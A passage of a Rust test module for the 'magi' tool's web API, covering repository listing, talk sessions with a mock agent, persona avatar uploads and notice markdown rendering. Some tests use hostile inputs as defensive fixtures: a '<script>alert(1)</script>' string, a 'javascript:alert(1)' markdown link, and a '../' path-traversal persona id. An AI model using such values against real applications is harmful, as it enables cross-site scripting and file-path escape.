14333        let root = tmp.path().join("root");
14334        make_checkout(&root, "github.com", "yukimemi", "magi");
14335        std::fs::write(
14336            repo.join("magi.toml"),
14337            format!(
14338                "[repos]\nroots = [{:?}]\n",
14339                root.to_string_lossy().into_owned()
14340            ),
14341        )
14342        .expect("write magi.toml");
14343
14344        let f = Fixture::with_repo(repo).await;
14345        let res = f.get("/api/repos").await;
14346        assert_eq!(res.status, 200, "{}", res.body);
14347        let list = res.json();
14348        let repos = list.as_array().expect("an array");
14349        assert_eq!(repos.len(), 1);
14350        assert_eq!(repos[0]["name"], "yukimemi/magi");
14351        assert!(
14352            repos[0]["path"]
14353                .as_str()
14354                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14355            "{list}"
14356        );
14357    }
14358
14359    #[tokio::test]
14360    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14361        let tmp = TempDir::new().expect("tempdir");
14362        let repo = tmp.path().join("repo");
14363        std::fs::create_dir_all(&repo).expect("repo dir");
14364        let root = tmp.path().join("root");
14365        make_checkout(&root, "github.com", "yukimemi", "magi");
14366        std::fs::write(
14367            repo.join("magi.toml"),
14368            format!(
14369                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14370                root.to_string_lossy().into_owned()
14371            ),
14372        )
14373        .expect("write magi.toml");
14374
14375        let f = Fixture::with_repo(repo).await;
14376        let first = f.get("/api/repos").await;
14377        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14378
14379        // A second checkout appears; within the TTL the cached answer must
14380        // not notice it.
14381        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14382        let second = f.get("/api/repos").await;
14383        assert_eq!(
14384            second.json().as_array().map(Vec::len),
14385            Some(1),
14386            "a fresh cache must not rescan inside the TTL"
14387        );
14388
14389        let refreshed = f.get("/api/repos?refresh=1").await;
14390        assert_eq!(
14391            refreshed.json().as_array().map(Vec::len),
14392            Some(2),
14393            "an explicit refresh must rescan even inside the TTL"
14394        );
14395    }
14396
14397    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14398    /// string, declared straight in a repository's own `magi.toml` rather
14399    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14400    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14401    /// this is safe to run over a real HTTP round trip.
14402    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14403
14404    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14405    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14406    /// even though it takes no turn, and `talk_say` invokes one.
14407    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14408        let tmp = TempDir::new().expect("tempdir");
14409        let repo = tmp.path().join("repo");
14410        std::fs::create_dir_all(&repo).expect("repo dir");
14411        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14412        let f = Fixture::with_repo(repo.clone()).await;
14413        (tmp, repo, f)
14414    }
14415
14416    #[tokio::test]
14417    async fn posting_a_talk_with_remembered_choices_is_soft() {
14418        let (_tmp, _repo, f) = talk_fixture().await;
14419
14420        let good = f
14421            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14422            .await;
14423        assert_eq!(good.status, 201, "{}", good.body);
14424        assert_eq!(good.json()["persona"], "rei");
14425
14426        // Wrong values and wrong types are dropped one by one, never a 4xx.
14427        let stale = f
14428            .post(
14429                "/api/talks",
14430                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14431            )
14432            .await;
14433        assert_eq!(stale.status, 201, "{}", stale.body);
14434        let v = stale.json();
14435        assert_eq!(v["implementers"], 1);
14436        assert_ne!(v["persona"], "nobody");
14437        let typed = f
14438            .post(
14439                "/api/talks",
14440                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14441            )
14442            .await;
14443        assert_eq!(typed.status, 201, "{}", typed.body);
14444
14445        // The strict `agent` field still refuses an unknown id.
14446        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14447        assert!(
14448            !strict.status.to_string().starts_with('2'),
14449            "{}",
14450            strict.body
14451        );
14452    }
14453
14454    #[tokio::test]
14455    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14456        let (_tmp, _repo, f) = talk_fixture().await;
14457
14458        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14459        // is the ordinary way a phone opens a talk.
14460        let opened = f.post("/api/talks", None).await;
14461        assert_eq!(opened.status, 201, "{}", opened.body);
14462        let body = opened.json();
14463        assert_eq!(body["status"], "open");
14464        assert_eq!(
14465            body["turns"].as_array().unwrap().len(),
14466            0,
14467            "opening takes no agent turn: there is nothing yet to answer"
14468        );
14469
14470        // An explicit empty object is the same request as none at all.
14471        let also_opened = f.post("/api/talks", Some("{}")).await;
14472        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14473
14474        let listed = f.get("/api/talks").await.json();
14475        assert_eq!(listed.as_array().unwrap().len(), 2);
14476    }
14477
14478    #[tokio::test]
14479    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14480        let tmp = TempDir::new().expect("tempdir");
14481        let repo = tmp.path().join("repo");
14482        std::fs::create_dir_all(&repo).expect("repo dir");
14483        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14484        std::fs::write(
14485            repo.join("magi.toml"),
14486            format!("{MOCK_AGENT_TOML}\n{second}"),
14487        )
14488        .expect("write magi.toml");
14489        let home = TempDir::new().expect("temp home");
14490        let talks = Talks::at(home.path().join("talks"));
14491        let ui = Arc::new(
14492            Ui::new(
14493                Queue::at(home.path().join("queue")),
14494                Questions::at(home.path().join("questions")),
14495                talks.clone(),
14496                home.path().join("runs"),
14497                home.path().to_path_buf(),
14498                repo.clone(),
14499            )
14500            .with_worktrees_root(home.path().join("wt")),
14501        );
14502        let cfg = config_for(&repo).await.expect("discover config");
14503        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14504        let id = talk.id.clone();
14505        let call = |agent: &str| {
14506            talk_agent(
14507                State(Arc::clone(&ui)),
14508                Path(id.clone()),
14509                Json(TalkAgent {
14510                    agent: agent.to_owned(),
14511                }),
14512            )
14513        };
14514
14515        let unknown = call("nobody").await.expect_err("unknown agent");
14516        assert_eq!(
14517            unknown.status,
14518            StatusCode::BAD_REQUEST,
14519            "{}",
14520            unknown.message
14521        );
14522
14523        {
14524            // Nothing refused so far took a claim, so the guard is free to take
14525            // and holding it is what makes the talk busy.
14526            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14527            let busy = call("second").await.expect_err("busy talk");
14528            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14529            assert!(
14530                busy.message.contains("a talk turn is running"),
14531                "{}",
14532                busy.message
14533            );
14534            drop(guard);
14535        }
14536        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14537
14538        let Json(view) = call("second").await.expect("switch");
14539        assert_eq!(view.talk.agent, "second");
14540        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14541        let saved = talks.get(&id).expect("reload");
14542        assert_eq!(saved.agent, "second");
14543        assert_eq!(saved.turns.len(), 1);
14544        assert!(!view.thinking);
14545        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14546        for agent in ["mock", "second"] {
14547            let Json(view) = call(agent).await.expect("immediate consecutive change");
14548            assert_eq!(view.talk.agent, agent);
14549            assert!(!view.thinking);
14550            assert!(!ui.is_thinking(&id));
14551        }
14552
14553        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14554            .await
14555            .expect("detail");
14556        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14557        assert_eq!(roster, ["mock", "second"]);
14558
14559        let mut closed = talks.get(&id).expect("reload");
14560        talk::close(&mut closed, &talks).expect("close");
14561        let refused = call("mock").await.expect_err("closed talk");
14562        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14563        assert!(
14564            refused.message.contains("takes no more turns"),
14565            "{}",
14566            refused.message
14567        );
14568    }
14569
14570    #[tokio::test]
14571    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14572        let tmp = TempDir::new().expect("tempdir");
14573        let repo = tmp.path().join("repo");
14574        std::fs::create_dir_all(&repo).expect("repo dir");
14575        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14576        let home = TempDir::new().expect("temp home");
14577        let talks = Talks::at(home.path().join("talks"));
14578        let ui = Arc::new(
14579            Ui::new(
14580                Queue::at(home.path().join("queue")),
14581                Questions::at(home.path().join("questions")),
14582                talks.clone(),
14583                home.path().join("runs"),
14584                home.path().to_path_buf(),
14585                repo.clone(),
14586            )
14587            .with_worktrees_root(home.path().join("wt")),
14588        );
14589        let cfg = config_for(&repo).await.expect("discover config");
14590        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14591        let id = talk.id.clone();
14592        let call = |n: u8| {
14593            talk_implementers(
14594                State(Arc::clone(&ui)),
14595                Path(id.clone()),
14596                Json(TalkImplementers { implementers: n }),
14597            )
14598        };
14599
14600        for bad in [0u8, 4] {
14601            let e = call(bad).await.expect_err("out of range");
14602            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14603        }
14604        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14605
14606        {
14607            // Nothing refused so far took a claim, so the guard is free to take
14608            // and holding it is what makes the talk busy.
14609            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14610            let busy = call(2).await.expect_err("busy talk");
14611            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14612            assert!(
14613                busy.message.contains("a talk turn is running"),
14614                "{}",
14615                busy.message
14616            );
14617            drop(guard);
14618        }
14619
14620        let Json(view) = call(3).await.expect("switch");
14621        assert_eq!(view.talk.implementers, 3);
14622        assert!(talks.get(&id).expect("reload").implementers_dirty);
14623        assert!(!view.thinking);
14624        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14625        for n in [1, 2, 3] {
14626            let Json(view) = call(n).await.expect("immediate consecutive change");
14627            assert_eq!(view.talk.implementers, n);
14628            assert!(!view.thinking);
14629            assert!(!ui.is_thinking(&id));
14630        }
14631
14632        let mut closed = talks.get(&id).expect("reload");
14633        talk::close(&mut closed, &talks).expect("close");
14634        let e = call(2).await.expect_err("closed talk");
14635        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14636        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14637    }
14638
14639    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14640    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14641        let tmp = TempDir::new().expect("tempdir");
14642        let repo = tmp.path().join("repo");
14643        std::fs::create_dir_all(&repo).expect("repo dir");
14644        std::fs::write(
14645            repo.join("magi.toml"),
14646            format!("{MOCK_AGENT_TOML}\n{extra}"),
14647        )
14648        .expect("write magi.toml");
14649        let home = TempDir::new().expect("temp home");
14650        let talks = Talks::at(home.path().join("talks"));
14651        let ui = Arc::new(
14652            Ui::new(
14653                Queue::at(home.path().join("queue")),
14654                Questions::at(home.path().join("questions")),
14655                talks.clone(),
14656                home.path().join("runs"),
14657                home.path().to_path_buf(),
14658                repo.clone(),
14659            )
14660            .with_worktrees_root(home.path().join("wt")),
14661        );
14662        let cfg = config_for(&repo).await.expect("discover config");
14663        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14664        (tmp, home, ui, talk.id, repo)
14665    }
14666
14667    #[tokio::test]
14668    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14669        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14670        let mut conversation = ui.talks.get(&id).unwrap();
14671        talk::record(
14672            &mut conversation,
14673            &ui.talks,
14674            "# Update on a task you filed\noperator words",
14675            vec![],
14676        )
14677        .unwrap();
14678        // Simulate an old operator record; headings do not prove authorship.
14679        conversation.turns[0].sender = None;
14680        conversation.turns[0].messages.clear();
14681        ui.talks.put(&mut conversation).unwrap();
14682        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14683        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14684        talk::drain(&mut conversation, &ui.talks).unwrap();
14685        talk::record_reply(
14686            &mut conversation,
14687            &ui.talks,
14688            "about that report",
14689            vec![],
14690            Some(talk::ReplyTarget {
14691                turn: 1,
14692                message: 1,
14693            }),
14694        )
14695        .unwrap();
14696        conversation.turns[2].messages[0]
14697            .reply
14698            .as_mut()
14699            .unwrap()
14700            .sender = None;
14701        conversation.turns.push(talk::Turn {
14702            sender: Some(talk::Sender::Persona),
14703            who: talk::Who::Agent,
14704            body: "magi: actual persona words".into(),
14705            at: Timestamp::now(),
14706            attachments: vec![],
14707            usage: None,
14708            breaks: None,
14709            messages: vec![],
14710            posted_by: None,
14711        });
14712        ui.talks.put(&mut conversation).unwrap();
14713        let view = TalkView::with_config(
14714            ui.talks.get(&id).unwrap(),
14715            false,
14716            None,
14717            &ui.home,
14718            &ui.references,
14719        );
14720        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14721        assert_eq!(
14722            view.talk.turns[1].messages[0].sender,
14723            Some(talk::Sender::Operator)
14724        );
14725        assert_eq!(
14726            view.talk.turns[1].messages[1].sender,
14727            Some(talk::Sender::Magi)
14728        );
14729        assert_eq!(
14730            view.talk.turns[2].messages[0]
14731                .reply
14732                .as_ref()
14733                .unwrap()
14734                .sender,
14735            Some(talk::Sender::Magi)
14736        );
14737        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14738        assert_eq!(view.turn_messages_md[0].len(), 1);
14739        assert!(view.turn_messages_md[0][0].is_none());
14740        assert!(view.turn_messages_md[1][0].is_none());
14741        assert!(view.turn_messages_md[1][1].is_some());
14742    }
14743
14744    #[tokio::test]
14745    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14746        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14747        let mut conversation = ui.talks.get(&id).unwrap();
14748        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14749        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14750        talk::queue_notice(
14751            &mut conversation,
14752            &ui.talks,
14753            &body,
14754            "watch:123",
14755            &|_| false,
14756            None,
14757            display.clone(),
14758        )
14759        .unwrap();
14760        assert!(
14761            !talk::queue_notice(
14762                &mut conversation,
14763                &ui.talks,
14764                &body,
14765                "watch:123",
14766                &|_| false,
14767                None,
14768                display.clone()
14769            )
14770            .unwrap()
14771        );
14772        let saved = ui.talks.get(&id).unwrap();
14773        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14774        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14775        assert!(
14776            view.talk.turns[0].messages[0].display.is_none(),
14777            "operator copy stays literal"
14778        );
14779        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14780        assert!(view.turn_messages_md[0][0].is_none());
14781        let queued_md = view.pending_messages_md[0].clone();
14782        assert_eq!(
14783            queued_md,
14784            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14785        );
14786        talk::drain(&mut conversation, &ui.talks).unwrap();
14787        talk::record_reply(
14788            &mut conversation,
14789            &ui.talks,
14790            "Explain",
14791            vec![],
14792            Some(talk::ReplyTarget {
14793                turn: 1,
14794                message: 0,
14795            }),
14796        )
14797        .unwrap();
14798        let mut saved = ui.talks.get(&id).unwrap();
14799        assert_eq!(saved.turns[1].messages[0].body, body);
14800        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14801        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14802        assert!(!reply.excerpt.contains("automatic report"));
14803        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14804        saved.turns[1].messages[0].display = None; // old MAGI send
14805        ui.talks.put(&mut saved).unwrap();
14806        let view = TalkView::with_config(
14807            ui.talks.get(&id).unwrap(),
14808            false,
14809            None,
14810            &ui.home,
14811            &ui.references,
14812        );
14813        assert_eq!(view.turn_messages_md[1][0], queued_md);
14814        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14815        assert!(
14816            !view.talk.turns[2].messages[0]
14817                .reply
14818                .as_ref()
14819                .unwrap()
14820                .excerpt
14821                .contains("automatic report")
14822        );
14823        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14824    }
14825
14826    #[tokio::test]
14827    async fn consultation_display_hides_directives_in_queue_and_history() {
14828        for node in [
14829            "implement",
14830            crate::land::APPROVAL_NODE,
14831            crate::github_text::ASK_NODE,
14832        ] {
14833            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14834            let mut question = Question::new(
14835                "run-123".into(),
14836                node.into(),
14837                "seat-1".into(),
14838                "Which backend?".into(),
14839                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14840                vec!["SQLite".into(), "Redis".into()],
14841            );
14842            ui.questions.put(&mut question).unwrap();
14843            let body = crate::prompt::chat_consult(&question);
14844            let mut conversation = ui.talks.get(&id).unwrap();
14845            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14846            assert!(
14847                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14848            );
14849            conversation = ui.talks.get(&id).unwrap();
14850            assert_eq!(conversation.pending_messages[0].body, body);
14851            assert!(body.contains("magi answer"));
14852            let mut legacy_pending = conversation.clone();
14853            legacy_pending.pending_messages[0].display = None;
14854            let legacy_view =
14855                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14856            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14857            assert!(legacy_md.contains("Question consultation"));
14858            assert!(!legacy_md.contains("magi answer"));
14859            let view =
14860                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14861            assert!(
14862                view.turn_messages_md[0][0].is_none(),
14863                "operator copy stays literal"
14864            );
14865            let queued_md = view.pending_messages_md[0].clone().unwrap();
14866            let rendered = serde_json::to_string(&queued_md).unwrap();
14867            for visible in [
14868                "Which backend?",
14869                "Context",
14870                "storage",
14871                "SQLite",
14872                "Redis",
14873                "<script>literal</script>",
14874            ] {
14875                assert!(rendered.contains(visible), "missing {visible}");
14876            }
14877            for directive in [
14878                "What to do",
14879                "magi answer",
14880                "Never answer it yourself",
14881                "Do not edit the repository",
14882            ] {
14883                assert!(!rendered.contains(directive), "exposed {directive}");
14884            }
14885            assert_eq!(
14886                view.talk.pending_messages[0].display,
14887                Some(crate::prompt::chat_consult_display(&question))
14888            );
14889            talk::drain(&mut conversation, &ui.talks).unwrap();
14890            let view =
14891                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14892            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14893            assert_eq!(conversation.turns[1].messages[0].body, body);
14894
14895            // Historical consultations lack a snapshot: show a safe placeholder
14896            // rather than parsing instructions or reconstructing mutable facts.
14897            conversation.turns[1].messages[0].display = None;
14898            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14899            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14900            assert!(legacy.contains("Question consultation"));
14901            assert!(!legacy.contains("magi answer"));
14902            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14903        }
14904    }
14905
14906    #[test]
14907    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14908        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14909        let (body, mut display) =
14910            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14911        display.facts = facts.into();
14912        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14913        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14914        let json = serde_json::to_string(&nodes).unwrap();
14915        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14916            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14917        }
14918        assert!(json.contains("<script>alert(1)</script>"));
14919        assert!(!json.contains("javascript:"));
14920        assert!(!json.contains("Tell the operator"));
14921        assert!(!json.contains("untrusted"));
14922        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14923        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14924        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14925        assert_eq!(
14926            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14927            md::to_nodes("# Status", &md::ImageBase::None),
14928        );
14929    }
14930
14931    #[tokio::test]
14932    async fn notification_display_recovers_exact_legacy_completion_references() {
14933        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14934        let mut conversation = ui.talks.get(&id).unwrap();
14935        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14936            id: "task-123",
14937            title: "Change",
14938            status: "done",
14939            reason: None,
14940            run: Some("run-123"),
14941            pr: None,
14942            summary: Some("Merge state unknown"),
14943        });
14944        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14945        conversation.turns[0].sender = None;
14946        conversation.turns[0].messages.clear();
14947        conversation.turns[0].breaks = None;
14948        conversation.pending = body.clone();
14949        conversation
14950            .completion_notices
14951            .push(crate::chat_notify::CompletionReference {
14952                task: "task-123".into(),
14953                run: Some("run-123".into()),
14954                notice: body.clone(),
14955            });
14956        ui.talks.put(&mut conversation).unwrap();
14957        let view = TalkView::with_config(
14958            ui.talks.get(&id).unwrap(),
14959            false,
14960            None,
14961            &ui.home,
14962            &ui.references,
14963        );
14964        assert_eq!(
14965            view.talk.turns[0].messages[0].display,
14966            Some(display.clone())
14967        );
14968        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14969        assert_eq!(
14970            view.talk.turns[0].messages[0].sender,
14971            Some(talk::Sender::Magi)
14972        );
14973        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14974        conversation.completion_notices[0]
14975            .notice
14976            .push_str("different");
14977        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14978        assert!(view.talk.turns[0].messages.is_empty());
14979        assert!(view.talk.pending_messages.is_empty());
14980    }
14981
14982    #[tokio::test]
14983    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14984        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14985        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14986            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14987        ))
14988        .await;
14989        let path = avatar_setting_path(home.path(), Some("rei"));
14990        let orphan = avatar_setting_path(home.path(), Some("removed"));
14991        save_icon_file(&orphan, icon).unwrap();
14992        for (saved, expected) in [
14993            (icon, "custom"),
14994            ("builtin", "builtin"),
14995            ("data:image/png;base64,!!!!", "inherit"),
14996            ("data:image/png;base64,PGh0bWw+", "inherit"),
14997            ("/tmp/avatar.png", "inherit"),
14998        ] {
14999            atomic_icon_write(&path, saved).unwrap();
15000            let catalog =
15001                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15002                    .await
15003                    .unwrap()
15004                    .0;
15005            let personas = catalog["personas"].as_array().unwrap();
15006            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15007            assert_eq!(rei["override_state"], expected);
15008            assert_eq!(rei["has_config_icon"], true);
15009            assert_eq!(rei["is_orphan"], false);
15010            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15011            assert_eq!(removed["override_state"], "custom");
15012            assert_eq!(removed["is_orphan"], true);
15013            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15014            assert_eq!(default["override_state"], "inherit");
15015            assert_eq!(default["has_config_icon"], false);
15016            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15017            assert_eq!(
15018                effective.as_deref(),
15019                Some(if expected == "builtin" { "" } else { icon })
15020            );
15021        }
15022    }
15023
15024    #[tokio::test]
15025    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15026        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15027        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15028            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15029        ))
15030        .await;
15031        let target = |id: Option<&str>| AvatarSettingsQuery {
15032            persona: id.map(str::to_owned),
15033            ..Default::default()
15034        };
15035        let original_config = config_for(&repo).await.unwrap();
15036        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15037        let original_prompt = persona::section_for(&original_persona, None);
15038        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15039            .await
15040            .unwrap()
15041            .0;
15042        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15043            let _ = avatar_settings_put(
15044                State(ui.clone()),
15045                Query(target(persona)),
15046                Json(MagiIconUpload { icon: icon.into() }),
15047            )
15048            .await
15049            .unwrap();
15050            let path = avatar_setting_path(home.path(), persona);
15051            assert!(path.starts_with(home.path().join("avatars")));
15052            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15053            for bad in [
15054                "/tmp/image.png".to_owned(),
15055                "data:image/png;base64,!!!!".to_owned(),
15056                "data:image/png;base64,PGh0bWw+".to_owned(),
15057                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15058                format!(
15059                    "data:image/png;base64,{}",
15060                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15061                ),
15062            ] {
15063                assert!(
15064                    avatar_settings_put(
15065                        State(ui.clone()),
15066                        Query(target(persona)),
15067                        Json(MagiIconUpload { icon: bad })
15068                    )
15069                    .await
15070                    .is_err()
15071                );
15072                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15073            }
15074        }
15075        assert!(read_magi_icon(home.path()).is_none());
15076        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15077        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15078            .await
15079            .unwrap()
15080            .0;
15081        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15082        assert_ne!(
15083            before
15084                .personas
15085                .iter()
15086                .find(|p| p.id == "magi")
15087                .unwrap()
15088                .avatar,
15089            after
15090                .personas
15091                .iter()
15092                .find(|p| p.id == "magi")
15093                .unwrap()
15094                .avatar
15095        );
15096        let restarted = Arc::new(Ui::new(
15097            Queue::at(home.path().join("queue")),
15098            Questions::at(home.path().join("questions")),
15099            Talks::at(home.path().join("talks")),
15100            home.path().join("runs"),
15101            home.path().to_owned(),
15102            repo,
15103        ));
15104        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15105            .await
15106            .unwrap()
15107            .0;
15108        assert!(
15109            catalog["personas"]
15110                .as_array()
15111                .unwrap()
15112                .iter()
15113                .any(|p| p["id"] == "../custom/日本語")
15114        );
15115        for expected in ["custom", "default", "rei"] {
15116            assert!(
15117                catalog["personas"]
15118                    .as_array()
15119                    .unwrap()
15120                    .iter()
15121                    .any(|p| p["id"] == expected)
15122            );
15123        }
15124        let response =
15125            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15126        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15127        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15128            .await
15129            .unwrap();
15130        assert_eq!(
15131            effective_persona_icon(home.path(), "rei", Some(icon)),
15132            Some(String::new())
15133        );
15134        let response = talk_avatar(
15135            State(restarted.clone()),
15136            Path(id.clone()),
15137            Query(AvatarQuery {
15138                persona: Some("rei".into()),
15139                ..Default::default()
15140            }),
15141        )
15142        .await
15143        .unwrap();
15144        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15145        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15146            .await
15147            .unwrap()
15148            .0;
15149        assert_ne!(
15150            after
15151                .personas
15152                .iter()
15153                .find(|p| p.id == "rei")
15154                .unwrap()
15155                .avatar,
15156            reset
15157                .personas
15158                .iter()
15159                .find(|p| p.id == "rei")
15160                .unwrap()
15161                .avatar
15162        );
15163        let mut inherit = target(Some("rei"));
15164        inherit.inherit = Some("1".into());
15165        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15166            .await
15167            .unwrap();
15168        assert_eq!(
15169            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15170            Some(icon)
15171        );
15172        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15173            .await
15174            .unwrap();
15175        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15176        assert_eq!(
15177            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15178            Some(icon)
15179        );
15180        // Display changes never rewrite the conversation or its prompt-bearing config.
15181        let cfg = config_for(&ui.repo).await.unwrap();
15182        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15183        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15184        assert!(!original_prompt.contains("data:image"));
15185        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15186        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15187        assert!(!stored.contains("data:image"));
15188        let mut orphan = ui.talks.get(&id).unwrap();
15189        orphan.persona = "../custom/日本語".into();
15190        let view = TalkView::with_config(
